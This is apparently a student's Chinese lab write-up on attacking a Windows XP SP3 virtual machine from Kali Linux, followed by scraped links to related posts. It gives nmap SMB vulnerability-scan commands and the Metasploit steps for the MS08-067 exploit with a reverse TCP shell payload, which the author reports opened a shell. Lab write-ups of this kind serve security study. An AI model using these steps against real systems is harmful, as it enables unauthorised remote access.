一、环境的使用和搭建

首先我的攻击机和靶机都搭建在虚拟机上,选用的是VMware Workstation Pro虚拟机。

攻击机选用的是Linux kali 2017.2版本,而靶机安装的是XP sp3纯净版。

在这里安装虚拟机的时候要注意网络适配器的网络连接方式选用NAT 连接。

二、Metaspoit的安装

当然在此之前要先更新好kaili的源地址,在这里就不介绍这个相关过程了。

由于kali 2.0 已经没有metasploit 这个服务了,所以service metasploit start 的方式不起作用。

在kali 2.0中启动带数据库支持的MSF方式如下:

1 首先启动postgresql数据库:

/etc/init.d/postgresql start;或者 service postgresql start;

2 初始化MSF数据库(关键步骤!):msfdb init;(如不能初始化,就用msfdb reinit试试吧!默认创建的数据库名:msf,msf_test;用户名:msf;口令默认为空)

3 运行msfconsole:msfconsole;

4 在msf中查看数据库连接状态:db_status。

5更新metasploit:msfupdate

6设置启动 自动启动msf和postgresql:

update-rc.d postgresql enable



看到这样的画面代表安装成功!

三、找到靶机中相应的漏洞

1.互ping联通

首先要确定的是攻击机和靶机处于同一网段下,当然如果没有特别设定一般都处于同一网段。

确定靶机和攻击机IP地址的方法:

Linux在shell中输入ifconfig



这里可以看到我的kali的IP地址为:192.168.80.129

XP系统则是打开cmd,然后输入ipconfig



这里可以看到我的XP的IP地址为:192.168.80.131

可以看到两台主机处于同一网段下,接着进行两台主机之间的互ping,确定两台主机连通。





可以看到两机成功联通。

2.靶机的制作

我也不知道起这个标题合不合理,因为我没有找到一个真正的靶机,我安装的就是普通的纯净版的XP,因此不太清楚真正的靶机是什么样子的,但是通过接下来对于metaspoit攻击的了解,我发现它的攻击基本基于靶机的开放端口进行,如果靶机防火墙打开,端口关闭好像很难进行攻击(当然这只是基于我目前的了解来看,可能存在问题),因此我就对我的靶机进行了如下操作:

1.首先,关闭了靶机的防火墙。

2.接着打开靶机需要打开的端口,在这里我所做的测试是基于23端口进行的,23端口是telent端口。

3.打开控制面板,找到管理工具,打开服务选项,找到相应端口进行开启即可。



4.接着打开cmd,输入netstat -a -n查看所有打开的端口,可以看到23端口成功打开



5.回到kaili使用nmap对靶机进行扫描确定其开启的端口能否扫描到



确定23端口打开接着就可以通过metaspoit攻击。

四、metaspoit攻击靶机

进行扫描Telnet服务。具体操作步骤如下所示:

(1)启动MSF终端。

(2)使用telnet_version模块,并查看可配置的选项参数。



(3)配置RHOSTS选项,并启动扫描。

在这里说明一下RHOSTS是靶机的IP地址,首次启动时上图这个选项应为no,我之前进行过测试所以显示yes



可以看到显示的信息,成功连接目标靶机。

五、漏洞的检测

       首先说明一点本次实验当中使用的攻击机与靶机操作系统与上篇中相同。
本次做的渗透攻击测试是基于xp系统漏洞的攻击,因此首要的步骤是进行漏洞扫描,这里我选用的工具是nmap对靶机进行漏洞扫描,最开始我找到的漏洞扫描语句是:nmap -sS -sV -O --script=smb-check-vulns.nse -n XP IP。但是当我进行扫描之后报错:/usr/bin/../share/nmap/nse_main.lua:801: ‘smb-check-vulns.nse’ did not match a category, filename, or directory。这是因为从NMAP 6.49beta6开始,smb-check-vulns.nse脚本被取消了。它被分为smb-vuln-conficker、?smb-vuln-cve2009-3103、smb-vuln-ms06-025、smb-vuln-ms07-029、smb-vuln-regsvc-dos、smb-vuln-ms08-067这六个脚本。用户根据需要选择对应的脚本。如果不确定执行哪一个,可以使用smb-vuln-*.nse来指定所有的脚本文件,进行全扫描。所以我使用的语句为:nmap -v -p139,445 --script=smb-vuln-*.nse --script-args=unsafe=1 XP IP -Pn。大家可以根据自己相应的nmap版本确定自己需要执行的指令。

扫描结果如下图所示:





从上图中可以看到当前的windows中存在两个安全漏洞分别是MS08-067和MS7-010,本次实验主要针对MS08-067进行漏洞的破解研究。

六、漏洞攻击

1.知道漏洞名称之后首先需要了解应该启动什么模块才能对相应的漏洞进行攻击,因此打开msfconsole进行相关搜索,通过search ms08_067语句,会显示出找到的渗透模块,如下图所示:



2.按提示输入命令use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用。

3.接着输入命令show payload会显示出有效的攻击载荷,如下图所示,我们找到一个shell_reverse_tcp。



4.使用命令set payload generic/shell_reverse_tcp设置攻击有效载荷。

5.使用命令”set LHOST "kali Ip" “set RHOST "Win xp Ip"分别设置攻击机IP与靶机IP地址



6.接着通过命令show options查看payload状态是否正确



可以看到所有的内容全部正确设置

7.最后通过exploit命令完成呢



可以看到攻击之后成功的打开了靶机的shell命令行,并且通过ipconfig命令,进一步确定攻击成功,ip地址就是对应靶机的IP地址。

七、实验总结

     本次使用Metasploit进行了两类的渗透攻击测试,分别是基于打开端口的攻击和基于系统漏洞的攻击,端口的攻击虽然没有完全的完成攻击但是还是做到了连接,而漏洞攻击则是成功的实现了攻击。Metasploit的攻击主要还是基于系统端口的,即使是漏洞攻击也需要用到445端口才能实现对漏洞的攻击,而nmap真的是一个非常重要的工具,通过它可以确定靶机开启的端口。不过通过几次攻击扫描的实验也让我有了一个怀疑,因为无论是基于端口还是基于漏洞的攻击都需要靶机的防火墙关闭才行,感觉实际意义有点低,毕竟像靶机这样不设防的计算机基本是不存在的,所以希望通过接下来的学习可以了解到更好的渗透攻击技术。

20179203 《Linux内核原理与分析》第十一周作业的更多相关文章

  1. 20169212《Linux内核原理与分析》第二周作业

    <Linux内核原理与分析>第二周作业 这一周学习了MOOCLinux内核分析的第一讲,计算机是如何工作的?由于本科对相关知识的不熟悉,所以感觉有的知识理解起来了有一定的难度,不过多查查资 ...

  2. 20169210《Linux内核原理与分析》第二周作业

    <Linux内核原理与分析>第二周作业 本周作业分为两部分:第一部分为观看学习视频并完成实验楼实验一:第二部分为看<Linux内核设计与实现>1.2.18章并安装配置内核. 第 ...

  3. 2018-2019-1 20189221 《Linux内核原理与分析》第九周作业

    2018-2019-1 20189221 <Linux内核原理与分析>第九周作业 实验八 理理解进程调度时机跟踪分析进程调度与进程切换的过程 进程调度 进度调度时机: 1.中断处理过程(包 ...

  4. 2017-2018-1 20179215《Linux内核原理与分析》第二周作业

    20179215<Linux内核原理与分析>第二周作业 这一周主要了解了计算机是如何工作的,包括现在存储程序计算机的工作模型.X86汇编指令包括几种内存地址的寻址方式和push.pop.c ...

  5. 2019-2020-1 20199329《Linux内核原理与分析》第九周作业

    <Linux内核原理与分析>第九周作业 一.本周内容概述: 阐释linux操作系统的整体构架 理解linux系统的一般执行过程和进程调度的时机 理解linux系统的中断和进程上下文切换 二 ...

  6. 2019-2020-1 20199329《Linux内核原理与分析》第二周作业

    <Linux内核原理与分析>第二周作业 一.上周问题总结: 未能及时整理笔记 Linux还需要多用 markdown格式不熟练 发布博客时间超过规定期限 二.本周学习内容: <庖丁解 ...

  7. 2019-2020-1 20209313《Linux内核原理与分析》第二周作业

    2019-2020-1 20209313<Linux内核原理与分析>第二周作业 零.总结 阐明自己对"计算机是如何工作的"理解. 一.myod 步骤 复习c文件处理内容 ...

  8. 2018-2019-1 20189221《Linux内核原理与分析》第一周作业

    Linux内核原理与分析 - 第一周作业 实验1 Linux系统简介 Linux历史 1991 年 10 月,Linus Torvalds想在自己的电脑上运行UNIX,可是 UNIX 的商业版本非常昂 ...

  9. 《Linux内核原理与分析》第一周作业 20189210

    实验一 Linux系统简介 这一节主要学习了Linux的历史,Linux有关的重要人物以及学习Linux的方法,Linux和Windows的区别.其中学到了LInux中的应用程序大都为开源自由的软件, ...

  10. 2018-2019-1 20189221《Linux内核原理与分析》第二周作业

    读书报告 <庖丁解牛Linux内核分析> 第 1 章 计算工作原理 1.1 存储程序计算机工作模型 1.2 x86-32汇编基础 1.3汇编一个简单的C语言程序并分析其汇编指令执行过程 因 ...

随机推荐

  1. HAProxy详解

    HAProxy概述与配置 一.HAProxy概述 HAProxy是由 WillyTarreau开发的一款具备高可用性.负载均及基于 TCP和 HTTP的应用代理开源软件,基于HAProxy的负载均衡架 ...

  2. InnoDB存储引擎内存缓冲池管理技术——LRU List、Free List、Flush List

    InnoDB是事务安全的MySQL存储引擎,野山谷OLTP应用中核心表的首选存储引擎.他是基于表的存储引擎,而不是基于数据库的.其特点是行锁设计.支持MVCC.支持外键.提供一致性非锁定读,同时被设计 ...

  3. bootstrap table 复选框使用

    var columns = [ { field : 'checked', checkbox: true, align: 'center', valign: 'middle', formatter:fu ...

  4. this对象解析

    this在js中有着非常广泛的应用,但其所指的对象也常常让人摸不着头脑,简而言之: this指的就是调用函数的对象,最常见的莫过以下几种 1.直接使用函数,则为window对象 function a( ...

  5. 多校hdu5754(博弈)

    ©此题中在N×M的棋盘中从(1,1)走到(N,M)B先走G后走,谁先到(N,M)谁赢,走法分为4中分别是国际象棋中的国王,车,马,王后的发,在四种走法下谁能赢: 我们依次分析每一种棋子. ①王. 首先 ...

  6. linux下bwa和samtools的安装与使用

    bwa的安装流程安装本软体总共需要完成以下两个软体的安装工作:1) BWA2) Samtools 1.BWA的安装a.下载BWA (download from BWA Source Forge ) h ...

  7. 【P2964】硬币的游戏(DP+前缀和)

    一道DP,思维难度真是不小. 首先对于这个题的数据,我们可以发现差不多可以支持n^2logn,但是貌似也不会有这种复杂度的线性DP(至少这个题看上去不是这样).所以我们考虑N^2做法.因为求得是价值和 ...

  8. JavaScript实现的功能

    1.js事件阻止冒泡的应用 1)问题描述: 单机除了这两个元素,触发事件,: 可用阻止事件冒泡 2)解决方法: $('body').click(function(e){ $('#searchTree' ...

  9. EntityFramework 学习 一 Colored Entity in Entity Framework 5.0

    You can change the color of an entity in the designer so that it would be easy to see related groups ...

  10. Excel 如何复制粘贴一整行

    在某些时候,我们需要重复性的录入一些信息,而且表头都是一样的,一直拉列宽是相当令人烦躁的事情. 所以,就想可以直接复制黏贴出一整行,包括行的各个列宽. 具体操作如图: ——>首先,一整行复制, ...